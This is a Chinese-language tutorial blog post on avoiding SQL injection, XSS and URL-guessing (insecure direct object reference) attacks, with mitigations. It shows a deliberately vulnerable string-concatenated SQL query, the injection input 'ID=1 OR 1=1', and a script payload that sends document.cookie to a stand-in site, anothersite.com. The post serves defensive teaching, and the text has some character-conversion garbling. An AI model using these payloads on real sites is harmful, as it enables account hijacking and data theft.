安全上你不应犯的错

互联网项目里边，SQL注入漏洞、XSS漏洞和猜想URL攻击这三个漏洞可谓历史悠久，然而直到今天还有人不断中枪，也真是微醺。

 

这几个漏洞说大也大，说小也小。说大是说这些漏洞危害大，会致使数据层面的安全问题；说小是从技术层面上讲都是未对外部输入作处理致使的，想要作针对性地防范很简单。下面简单看看这些漏洞的缘由及防范方法。

 

SQL注入

SQL注入之因此存在，主要是由于工程师将外部的输入直接嵌入到将要执行的SQL语句中了。黑客能够利用这一点执行SQL指令来达到本身目的。举例来讲，有一个接受参数为id的页面，在接收到id后从数据库中查询相应的数据， 其代码大体以下：

string  SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];

​正常状况下，Request["ID"]为数字，这条SQL能很好地工做。若是咱们认为修改Request["ID"]，将其内容修改成?ID=1 OR 1=1 咱们将获得这样一条SQL:

​SELECT * FROM [User] WHERE ID=1 OR 1=1

由于有OR的出现这条SQL语句已经能够获取User表中的任意信息。利用SQL注入漏洞，咱们可以获取想要的信息，同时能够经过猜想-报错获取到数据库其它表的结构和信息，若是数据库、服务器权限设置不当，甚至有可能能获取到整个服务器的控制权限。

规避这种漏洞有不少种办法，以现代的编程语言来讲，选择一个合适的ORM框架能够减小很多问题并且能大大提升开发效率。

若是由于某些缘由须要继续写SQL语句，参数化查询也能解决这一问题。

对于须要拼接SQL语句的程序来讲，注意两点也能够避免此问题。第一点是若是查询的字段类型是数字等类型，在拼接SQL前先判断输入是否是一个合法的数字，不合法则终止程序便可。第二点是若是字段类型是字符串，则记得将输入里的的单引号进行转义。

XSS攻击

若是说SQL注入是直接在SQL里执行了用户输入，那XSS攻击是在HTML里代码执行了用户输入。相对SQL注入，XSS彷佛更能引发人关注。几年前新浪微博被人利用XSS获取大量粉丝；3DM也曾经被植入script代码对另外一个游戏网站进行了惨无人道的DDOS攻击。

 

这里仍是用SQL注入中的例子来讲，假设页面输出为：

​<div><%= Request["ID"] %></div>

这里咱们能够在Request["ID"]里传入一段编码后的脚本，在最终输出的时候，就变成了一段可执行的javascript代码。

<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>

这段代码获取到当前页面的cookie值，并将cookie值传递到另外一个名为anothersite.com的网站。利用这种模式，黑客能够获取到用户的登陆信息或者将用户跳转到钓鱼网站来达成本身的目的。

 

XSS攻击也能够简单分为两种，一种是上述例子中利用url引诱客户点击来实现；另外一种是经过存储到数据库，在其它用户获取相关信息时来执行脚本。

 

防范XSS攻击须要在全部的字段都对输入的字符串进行html encode（或者在输出时进行encode）。若是须要使用富文本编辑的，能够考虑使用UBB。

 

猜想URL攻击

猜想URL攻击是经过已知的GET、POST参数来猜想未公开的参数并尝试进行攻击。

以Request["ID"]为例，若是ID为1是合法的可访问的数据，能够经过尝试ID=2，ID=3等一系列来尝试是否对其它资源有访问、修改权限。若是控制不当，则能够轻松得到并修改数据。

要避免这种问题，方案一是使用较长的无规律的数字、字符来作为ID，增大猜想难度；对于须要登陆的程序，能够判断用户身份是否有对应ID数据的访问、修改权限；若是ID已是自增类型且不须要登陆，能够用过在URL里增长无规律的校验字段来避免。

 

其它须要注意的地方

安全是一个系统工程。

要提升系统安全性，最首要的一点是不要相信任何输入！不要相信任何输入！不要相信任何输入！重要的事情说三遍。这里的输入除了URL里的GET参数、POST参数，还包括COOKIE、Header等能够进行修改的各种信息。

在程序设置方面，不输出客户不须要知道的各种信息，如原始的异常信息、异常附近的代码段等等，这样也能增长很多安全性。

最后，在测试或系统运行的过程当中，可使用相似appscan这样的安全检测工具来检查程序是否有漏洞。

 

PS：打个广告，最近在写一个关于研发、团队的公众号，有兴趣的朋友能够搜索“自留地”或扫描下面的二维码关注。